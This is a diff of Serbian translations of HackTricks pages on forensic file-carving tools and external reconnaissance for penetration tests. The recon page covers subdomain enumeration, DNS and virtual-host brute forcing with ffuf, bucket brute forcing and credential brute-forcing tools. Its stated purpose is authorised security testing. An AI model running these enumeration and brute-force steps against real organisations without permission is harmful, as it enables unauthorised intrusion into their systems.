Najčešći alat korišćen u forenzici za ekstrakciju fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte i omogućite mu da obradi fajl kako bi pronašao "sakrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove.
## Binwalk <a id="binwalk"></a>
**Binwalk** je alat za pretraživanje binarnih fajlova kao što su slike i audio fajlovi za ugrađene fajlove i podatke.
Može se instalirati pomoću `apt`, međutim [izvor](https://github.com/ReFirmLabs/binwalk) se može pronaći na github-u.
**Binwalk** je alat za pretraživanje binarnih fajlova kao što su slike i audio fajlovi za ugrađene fajlove i podatke. Može se instalirati pomoću `apt`, međutim [izvor](https://github.com/ReFirmLabs/binwalk) se može pronaći na github-u.
**Korisne komande**:
```bash
sudo apt install binwalk #Insllation
@ -19,7 +18,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
## Foremost
Još jedan uobičajen alat za pronalaženje skrivenih fajlova je **foremost**. Možete pronaći konfiguracioni fajl foremost-a u `/etc/foremost.conf`. Ako želite da pretražujete samo neke specifične fajlove, otkomentarišite ih. Ako ne otkomentarišete ništa, foremost će pretraživati svoje podrazumevane konfiguracione tipove fajlova.
Još jedan uobičajen alat za pronalaženje skrivenih fajlova je **foremost**. Možete pronaći konfiguracioni fajl foremost-a u `/etc/foremost.conf`. Ako želite da pretražujete samo neke specifične fajlove, otkomentarišite ih. Ako ne otkomentarišete ništa, foremost će pretraživati njegove podrazumevane konfiguracione tipove fajlova.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -27,7 +26,7 @@ foremost -v -i file.img -o output
```
## **Scalpel**
**Scalpel** je još jedan alat koji se može koristiti za pronalaženje i ekstrakciju **datoteka ugrađenih u datoteku**. U ovom slučaju, potrebno je da odkomentarišete tipove datoteka iz konfiguracione datoteke \(_/etc/scalpel/scalpel.conf_\) koje želite da ekstraktujete.
**Scalpel** je još jedan alat koji se može koristiti za pronalaženje i ekstrakciju **datoteka ugrađenih u datoteku**. U ovom slučaju, potrebno je da otkomentarišete tipove datoteka iz konfiguracione datoteke \(_/etc/scalpel/scalpel.conf_\) koje želite da ekstraktujete.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@ -40,7 +39,7 @@ Ovaj alat može skenirati sliku i **izvući pcaps** unutar nje, **mrežne inform
```text
bulk_extractor memory.img -o out_folder
```
Navigirajte kroz **sve informacije** koje je alat prikupio \(lozinke?\), **analizirajte** **pakete** \(pročitajte [ **analizu Pcaps**](../pcap-inspection/)\), pretražujte **čudne domene** \(domene povezane sa **malverom** ili **nepostojećim**\).
Navigirajte kroz **sve informacije** koje je alat prikupio \(lozinke?\), **analizirajte** **pakete** \(pročitajte [ **Pcaps analiza**](../pcap-inspection/index.html)\), pretražujte **čudne domene** \(domene povezane sa **malverom** ili **nepostojećim**\).
## PhotoRec

View File

@ -2,13 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
## Alati za carving i oporavak
## Carving & Recovery tools
Više alata na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Najčešće korišćen alat u forenzici za ekstrakciju fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte i omogućite mu da unese fajl kako bi pronašao "sakrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i jednostavne fajlove.
Najčešći alat korišćen u forenzici za ekstrakciju fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte i omogućite mu da obradi fajl kako bi pronašao "sakrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove.
### Binwalk <a href="#binwalk" id="binwalk"></a>
@ -31,7 +31,7 @@ foremost -v -i file.img -o output
```
### **Scalpel**
**Scalpel** je još jedan alat koji se može koristiti za pronalaženje i ekstrakciju **datoteka ugrađenih u datoteku**. U ovom slučaju, potrebno je da odkomentarišete tipove datoteka iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) koje želite da ekstraktujete.
**Scalpel** je još jedan alat koji se može koristiti za pronalaženje i vađenje **datoteka ugrađenih u datoteku**. U ovom slučaju, potrebno je da otkomentarišete tipove datoteka iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) koje želite da izvučete.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@ -44,7 +44,7 @@ Ovaj alat može skenirati sliku i **izvući pcaps** unutar nje, **mrežne inform
```
bulk_extractor memory.img -o out_folder
```
Navigirajte kroz **sve informacije** koje je alat prikupio (lozinke?), **analizirajte** **pakete** (pročitajte [**analizu Pcaps**](../pcap-inspection/)), pretražujte **čudne domene** (domene povezane sa **malverom** ili **nepostojećim**).
Navigirajte kroz **sve informacije** koje je alat prikupio (lozinke?), **analizirajte** **pakete** (pročitajte [**Pcaps analiza**](../pcap-inspection/index.html)), pretražujte **čudne domene** (domene povezane sa **malverom** ili **nepostojećim**).
### PhotoRec
@ -63,11 +63,11 @@ Proverite [kod](https://code.google.com/archive/p/binvis/) i [web stranicu alata
- Vizuelni i aktivni **pregledač strukture**
- Više grafova za različite tačke fokusa
- Fokusiranje na delove uzorka
- **Prikazivanje stringova i resursa**, u PE ili ELF izvršnim datotekama npr.
- **Videti stringove i resurse**, u PE ili ELF izvršnim datotekama npr.
- Dobijanje **šablona** za kriptoanalizu na fajlovima
- **Prepoznavanje** pakera ili enkodera
- **Uočavanje** pakera ili enkoder algoritama
- **Identifikacija** steganografije po šablonima
- **Vizuelno** binarno upoređivanje
- **Vizuelno** binarno poređenje
BinVis je odlična **polazna tačka za upoznavanje sa nepoznatim ciljem** u scenariju crne kutije.
@ -75,13 +75,13 @@ BinVis je odlična **polazna tačka za upoznavanje sa nepoznatim ciljem** u scen
### FindAES
Pretražuje AES ključeve tražeći njihove rasporede ključeva. Sposoban je da pronađe 128, 192 i 256 bitne ključeve, kao što su oni koje koriste TrueCrypt i BitLocker.
Pretražuje AES ključeve tražeći njihove rasporede ključeva. Sposoban je da pronađe 128, 192 i 256-bitne ključeve, kao što su oni koje koriste TrueCrypt i BitLocker.
Preuzmite [ovde](https://sourceforge.net/projects/findaes/).
## Komplementarni alati
Možete koristiti [**viu**](https://github.com/atanunq/viu) da vidite slike iz terminala.\
Možete koristiti linux komandnu liniju **pdftotext** da transformišete pdf u tekst i pročitate ga.
Možete koristiti linux komandnu liniju alat **pdftotext** da transformišete pdf u tekst i pročitate ga.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,17 +1,17 @@
# External Recon Methodology
# Metodologija spoljnog rekona
{{#include ../../banners/hacktricks-training.md}}
## Otkrivanje sredstava
## Otkrića imovine
> Tako su vam rekli da je sve što pripada nekoj kompaniji unutar opsega, i želite da saznate šta ta kompanija zapravo poseduje.
Cilj ove faze je da se dobiju sve **kompanije koje poseduje glavna kompanija** i zatim sva **sredstva** ovih kompanija. Da bismo to postigli, uradićemo sledeće:
Cilj ove faze je da se dobiju sve **kompanije koje poseduje glavna kompanija** i zatim sve **imovine** tih kompanija. Da bismo to postigli, uradićemo sledeće:
1. Pronaći akvizicije glavne kompanije, to će nam dati kompanije unutar opsega.
2. Pronaći ASN (ako postoji) svake kompanije, to će nam dati IP opsege koje poseduje svaka kompanija.
1. Pronaći akvizicije glavne kompanije, što će nam dati kompanije unutar opsega.
2. Pronaći ASN (ako postoji) svake kompanije, što će nam dati IP opsege koje poseduje svaka kompanija.
3. Koristiti obrnute whois pretrage da tražimo druge unose (imena organizacija, domene...) povezane sa prvim (ovo se može raditi rekurzivno).
4. Koristiti druge tehnike kao što su shodan `org` i `ssl` filteri da tražimo druga sredstva (trik sa `ssl` se može raditi rekurzivno).
4. Koristiti druge tehnike kao što su shodan `org` i `ssl` filteri da tražimo druge imovine (trik sa `ssl` se može raditi rekurzivno).
### **Akvizicije**
@ -19,12 +19,12 @@ Prvo, treba da znamo koje **druge kompanije poseduje glavna kompanija**.\
Jedna opcija je da posetite [https://www.crunchbase.com/](https://www.crunchbase.com), **pretražite** **glavnu kompaniju**, i **kliknite** na "**akvizicije**". Tamo ćete videti druge kompanije koje je glavna kompanija akvizirala.\
Druga opcija je da posetite **Wikipedia** stranicu glavne kompanije i potražite **akvizicije**.
> U redu, u ovom trenutku trebali biste znati sve kompanije unutar opsega. Hajde da saznamo kako da pronađemo njihova sredstva.
> U redu, u ovom trenutku trebali biste znati sve kompanije unutar opsega. Hajde da saznamo kako da pronađemo njihovu imovinu.
### **ASN-ovi**
### **ASNovi**
Broj autonomnog sistema (**ASN**) je **jedinstveni broj** dodeljen **autonomnom sistemu** (AS) od strane **Internet Assigned Numbers Authority (IANA)**.\
**AS** se sastoji od **blokova** **IP adresa** koji imaju jasno definisanu politiku za pristup spoljnim mrežama i kojima upravlja jedna organizacija, ali se mogu sastojati od više operatera.
**AS** se sastoji od **blokova** **IP adresa** koje imaju jasno definisanu politiku za pristup spoljnim mrežama i kojima upravlja jedna organizacija, ali se mogu sastojati od više operatera.
Zanimljivo je saznati da li je **kompanija dodelila neki ASN** da bi pronašla svoje **IP opsege.** Bilo bi zanimljivo izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i **tražiti domene** unutar ovih IP adresa.\
Možete **pretraživati** po imenu kompanije, po **IP-u** ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
@ -56,8 +56,8 @@ Možete pronaći IP i ASN domena koristeći [http://ipv4info.com/](http://ipv4in
### **Traženje ranjivosti**
U ovom trenutku znamo **sve resurse unutar opsega**, tako da, ako imate dozvolu, možete pokrenuti neki **skener ranjivosti** (Nessus, OpenVAS) na svim hostovima.\
Takođe, možete pokrenuti neke [**port skenove**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ili koristiti usluge kao što je** shodan **da pronađete** otvorene portove **i u zavisnosti od onoga što pronađete, trebali biste** pogledati u ovu knjigu kako da pentestujete nekoliko mogućih usluga koje se izvode.\
U ovom trenutku znamo **sve resurse unutar opsega**, tako da, ako vam je dozvoljeno, možete pokrenuti neki **skener ranjivosti** (Nessus, OpenVAS) na svim hostovima.\
Takođe, možete pokrenuti neke [**port skenove**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ili koristiti usluge kao što je** shodan **da pronađete** otvorene portove **i u zavisnosti od onoga što pronađete, trebali biste** pogledati u ovoj knjizi kako da pentestujete nekoliko mogućih usluga koje se izvode.\
**Takođe, vredi napomenuti da možete pripremiti neke** liste podrazumevanih korisničkih imena **i** lozinki **i pokušati da** bruteforce-ujete usluge sa [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domeni
@ -70,7 +70,7 @@ Prvo što treba da uradite je da potražite **glavnu domenu**(e) svake kompanije
### **Obrnuti DNS**
Pošto ste pronašli sve IP opsege domena, možete pokušati da izvršite **obrnute dns pretrage** na tim **IP-ovima kako biste pronašli više domena unutar opsega**. Pokušajte da koristite neki DNS server žrtve ili neki poznati DNS server (1.1.1.1, 8.8.8.8)
Pošto ste pronašli sve IP opsege domena, možete pokušati da izvršite **obrnute dns pretrage** na tim **IP-ovima kako biste pronašli više domena unutar opsega**. Pokušajte da koristite neki DNS server žrtve ili neki dobro poznati DNS server (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -88,7 +88,7 @@ Možete koristiti online alate kao što su:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Besplatno**
- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Besplatno**
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Besplatno**
- [https://www.whoxy.com/](https://www.whoxy.com) - **Besplatno** web, nije besplatan API.
- [https://www.whoxy.com/](https://www.whoxy.com) - **Besplatno** web, nije besplatno API.
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nije besplatno
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nije besplatno (samo **100 besplatnih** pretraga)
- [https://www.domainiq.com/](https://www.domainiq.com) - Nije besplatno
@ -96,7 +96,7 @@ Možete koristiti online alate kao što su:
Možete automatizovati ovaj zadatak koristeći [**DomLink** ](https://github.com/vysecurity/DomLink)(zahteva whoxy API ključ).\
Takođe možete izvršiti neku automatsku obrnutu whois otkrivanje sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Imajte na umu da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.**
**Napomena da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.**
### **Trackers**
@ -159,9 +159,9 @@ Možete koristiti veb sajt kao što je [https://dmarc.live/info/google.com](http
### **Pasivno preuzimanje**
Očigledno je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pripadaju provajderima u oblaku i u nekom trenutku **izgube tu IP adresu, ali zaborave da uklone DNS zapis**. Stoga, samo **pokretanjem VM** u oblaku (kao što je Digital Ocean) zapravo ćete **preuzeti neke poddomene**.
Očigledno je uobičajeno da ljudi dodele poddomene IP-ovima koji pripadaju provajderima u oblaku i u nekom trenutku **izgube tu IP adresu, ali zaborave da uklone DNS zapis**. Stoga, samo **pokretanjem VM** u oblaku (kao što je Digital Ocean) zapravo ćete **preuzeti neke poddomene**.
[**Ovaj post**](https://kmsec.uk/blog/passive-takeover/) objašnjava priču o tome i predlaže skriptu koja **pokreće VM u DigitalOcean**, **dobija** **IPv4** nove mašine i **pretražuje u Virustotal-u za zapise poddomena** koji upućuju na nju.
[**Ova objava**](https://kmsec.uk/blog/passive-takeover/) objašnjava priču o tome i predlaže skriptu koja **pokreće VM u DigitalOcean-u**, **dobija** **IPv4** nove mašine i **pretražuje u Virustotal-u za zapise poddomena** koji upućuju na nju.
### **Ostali načini**
@ -169,9 +169,9 @@ Očigledno je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pripadaj
**Shodan**
Kao što već znate ime organizacije koja poseduje IP prostor. Možete pretraživati po tim podacima u shodanu koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu.
Kao što već znate ime organizacije koja poseduje IP prostor. Možete pretraživati te podatke u Shodanu koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu.
Možete pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organizacije** i zatim pretraživati to ime unutar **TLS sertifikata** svih veb stranica poznatih od strane **shodan** sa filtrima: `ssl:"Tesla Motors"` ili koristiti alat kao što je [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
Možete pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organizacije** i zatim pretraživati to ime unutar **TLS sertifikata** svih veb stranica poznatih u **Shodanu** sa filtrima: `ssl:"Tesla Motors"` ili koristiti alat kao što je [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
@ -181,7 +181,7 @@ Možete pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organiz
Proverite za neki [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Možda neka kompanija **koristi neku domenu** ali su **izgubili vlasništvo**. Samo je registrujte (ako je dovoljno jeftina) i obavestite kompaniju.
Ako pronađete neku **domenu sa IP-jem koji se razlikuje** od onih koje ste već pronašli u otkrivanju sredstava, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**port skeniranje**](../pentesting-network/index.html#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
Ako pronađete neku **domenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju sredstava, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/index.html#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
&#xNAN;_&#x4E;ote da ponekad domena je hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
## Poddomene
@ -195,7 +195,7 @@ Vreme je da pronađemo sve moguće poddomene svake pronađene domene.
### **DNS**
Pokušajmo da dobijemo **poddomene** iz **DNS** zapisa. Takođe bismo trebali pokušati za **Zone Transfer** (Ako je ranjiv, trebali biste to prijaviti).
Pokušajmo da dobijemo **poddomenе** iz **DNS** zapisa. Takođe bismo trebali pokušati za **Zone Transfer** (Ako je ranjiv, trebali biste to prijaviti).
```bash
dnsrecon -a -d tesla.com
```
@ -250,7 +250,7 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
Postoje **drugi zanimljivi alati/API** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, kao što su:
Postoje **drugi zanimljivi alati/API-ji** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, kao što su:
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Koristi API [https://sonar.omnisint.io](https://sonar.omnisint.io) za dobijanje poddomena
```bash
@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
- [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL adrese iz AlienVault-ovog Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koju datu domenu.
- [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL adrese iz AlienVault-ove Open Threat Exchange, Wayback Machine i Common Crawl za bilo koju datu domenu.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@ -312,7 +312,7 @@ python3 censys-subdomain-finder.py tesla.com
```bash
python3 DomainTrail.py -d example.com
```
- [**securitytrails.com**](https://securitytrails.com/) ima besplatan API za pretragu poddomena i istorije IP adresa
- [**securitytrails.com**](https://securitytrails.com/) ima besplatan API za pretragu poddomena i istoriju IP adresa
- [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Ovaj projekat nudi **besplatno sve poddomene povezane sa bug-bounty programima**. Ove podatke možete pristupiti i koristeći [chaospy](https://github.com/dr-0x0x/chaospy) ili čak pristupiti opsegu koji koristi ovaj projekat [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
@ -323,7 +323,7 @@ Možete pronaći **uporedbu** mnogih od ovih alata ovde: [https://blog.blacklant
Pokušajmo da pronađemo nove **poddomenе** brute-forcing DNS servere koristeći moguće nazive poddomena.
Za ovu akciju biće vam potrebne neke **uobičajene liste reči poddomena kao što su**:
Za ovu akciju biće vam potrebne neke **uobičajene liste reči poddomena kao**:
- [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
- [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -333,7 +333,7 @@ Za ovu akciju biće vam potrebne neke **uobičajene liste reči poddomena kao š
Takođe, IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Najpreporučiviji alati za DNS brute-force su:
Najpreporučivaniji alati za DNS brute-force su:
- [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je efikasno izvršavao DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivnim rezultatima.
```bash
@ -365,7 +365,7 @@ Nakon što ste pronašli poddomene koristeći otvorene izvore i brute-forcing, m
```bash
cat subdomains.txt | dnsgen -
```
- [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i poddomeni generišite permutacije.
- [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domene i poddomene generišite permutacije.
- Možete dobiti goaltdns permutacije **wordlist** **ovde** [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
@ -385,9 +385,9 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na osnovu domena **generiše nova potencijalna imena poddomena** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena.
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na osnovu domena, **generiše nova potencijalna imena poddomena** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena.
#### Pametna generacija permutacija
#### Generisanje pametnih permutacija
- [**regulator**](https://github.com/cramppet/regulator): Za više informacija pročitajte ovaj [**post**](https://cramppet.github.io/regulator/index.html), ali će u suštini uzeti **glavne delove** iz **otkrivenih poddomena** i mešati ih kako bi pronašao više poddomena.
```bash
@ -395,11 +395,11 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za brute-force subdomena uparen sa izuzetno jednostavnim, ali efikasnim algoritmom vođenim DNS odgovorima. Koristi pruženi skup ulaznih podataka, kao što su prilagođena lista reči ili istorijski DNS/TLS zapisi, da precizno sintetiše više odgovarajućih imena domena i dodatno ih proširuje u petlji na osnovu informacija prikupljenih tokom DNS skeniranja.
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za brute-force subdomena uparen sa izuzetno jednostavnim, ali efikasnim algoritmom vođenim DNS odgovorima. Koristi pruženi skup ulaznih podataka, kao što su prilagođena lista reči ili istorijski DNS/TLS zapisi, da precizno sintetizuje više odgovarajućih imena domena i dodatno ih proširuje u petlji na osnovu informacija prikupljenih tokom DNS skeniranja.
```
echo www | subzuf facebook.com
```
### **Workflow za Otkriće Poddomena**
### **Workflow za otkrivanje poddomena**
Pogledajte ovaj blog post koji sam napisao o tome kako da **automatizujem otkrivanje poddomena** sa domena koristeći **Trickest workflows** tako da ne moram ručno da pokrećem gomilu alata na svom računaru:
@ -411,17 +411,17 @@ https://trickest.com/blog/full-subdomain-discovery-using-workflow/
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
{{#endref}}
### **VHosts / Virtuelni Hostovi**
### **VHosts / Virtuelni hostovi**
Ako ste pronašli IP adresu koja sadrži **jednu ili više web stranica** koje pripadaju poddomenima, možete pokušati da **pronađete druge poddomene sa web stranicama na toj IP adresi** tražeći u **OSINT izvorima** za domene na IP-u ili **brute-forcing VHost imena domena na toj IP adresi**.
#### OSINT
Možete pronaći neke **VHost-ove na IP-ovima koristeći** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ili druge API-je**.
Možete pronaći neke **VHosts na IP-ovima koristeći** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ili druge API-je**.
**Brute Force**
Ako sumnjate da neki poddomen može biti skriven na web serveru, možete pokušati da ga brute force-ujete:
Ako sumnjate da neki poddomen može biti skriven na web serveru, možete pokušati da ga brute-forcujete:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -440,43 +440,43 @@ VHostScan -t example.com
### **CORS Brute Force**
Ponekad ćete pronaći stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je validna domena/poddomena postavljena u _**Origin**_ zaglavlju. U ovim scenarijima, možete iskoristiti ovo ponašanje da **otkrijete** nove **poddomenе**.
Ponekad ćete pronaći stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je važeća domena/poddomena postavljena u _**Origin**_ zaglavlju. U ovim scenarijima, možete iskoristiti ovo ponašanje da **otkrijete** nove **poddomenе**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **Brute Force za Buckete**
### **Buckets Brute Force**
Dok tražite **subdomene**, obratite pažnju da li se **upučuju** na bilo koju vrstu **bucketa**, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Takođe, kako ćete u ovom trenutku znati sve domene unutar opsega, pokušajte da [**brute force-ujete moguće nazive bucketa i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
Dok tražite **subdomene**, obratite pažnju da li se **upučuju** na neku vrstu **buckets**, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
Takođe, kako ćete u ovom trenutku znati sve domene unutar opsega, pokušajte da [**brute force-ujete moguće nazive buckets i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/index.html).
### **Monitorisanje**
### **Monitorizacija**
Možete **monitorisati** da li su **nove subdomene** domena kreirane praćenjem **Certificate Transparency** logova [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
Možete **pratiti** da li se **nove subdomene** domena kreiraju praćenjem **Certificate Transparency** logova [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)to radi.
### **Traženje ranjivosti**
Proverite moguće [**preuzimanje subdomena**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Ako **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
Ako **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/index.html).
Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/index.html#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od usluga koje se pokreću, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/index.html#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
&#xNAN;_&#x4E;ote da ponekad subdomena je hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
## IP-ovi
## IPs
U početnim koracima možda ste **pronašli neke IP opsege, domene i subdomene**.\
Vreme je da **prikupite sve IP-ove iz tih opsega** i za **domene/subdomene (DNS upiti).**
Sada je vreme da **prikupite sve IP-ove iz tih opsega** i za **domene/subdomene (DNS upiti).**
Koristeći usluge iz sledećih **besplatnih API-ja**, takođe možete pronaći **prethodne IP-ove korišćene od strane domena i subdomena**. Ovi IP-ovi možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
Koristeći usluge iz sledećih **besplatnih API-ja** možete takođe pronaći **prethodne IP-ove korišćene od strane domena i subdomena**. Ovi IP-ovi možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
- [**https://securitytrails.com/**](https://securitytrails.com/)
Takođe možete proveriti domene koje upućuju na određenu IP adresu koristeći alat [**hakip2host**](https://github.com/hakluke/hakip2host)
Takođe možete proveriti za domene koje upućuju na određenu IP adresu koristeći alat [**hakip2host**](https://github.com/hakluke/hakip2host)
### **Traženje ranjivosti**
**Skenirajte sve IP-ove koji ne pripadaju CDN-ima** (jer verovatno nećete pronaći ništa zanimljivo tamo). U otkrivenim uslugama možda ćete **moći da pronađete ranjivosti**.
**Skenirajte sve IP-ove koji ne pripadaju CDN-ima** (jer verovatno nećete pronaći ništa zanimljivo tamo). U otkrivenim servisima možda ćete **moći da pronađete ranjivosti**.
**Pronađite** [**vodič**](../pentesting-network/) **o tome kako skenirati hostove.**
**Pronađite** [**vodič**](../pentesting-network/index.html) **o tome kako skenirati hostove.**
## Lov na web servere
@ -487,14 +487,14 @@ U prethodnim koracima verovatno ste već izvršili neku **recon analizu otkriven
Molimo vas da napomenete da će ovo biti **orijentisano na otkrivanje web aplikacija**, tako da biste trebali **izvršiti skeniranje ranjivosti** i **skeniranje portova** takođe (**ako je dozvoljeno** od strane opsega).
**Brza metoda** za otkrivanje **otvorenih portova** povezanih sa **web** serverima koristeći [**masscan** može se pronaći ovde](../pentesting-network/index.html#http-port-discovery).\
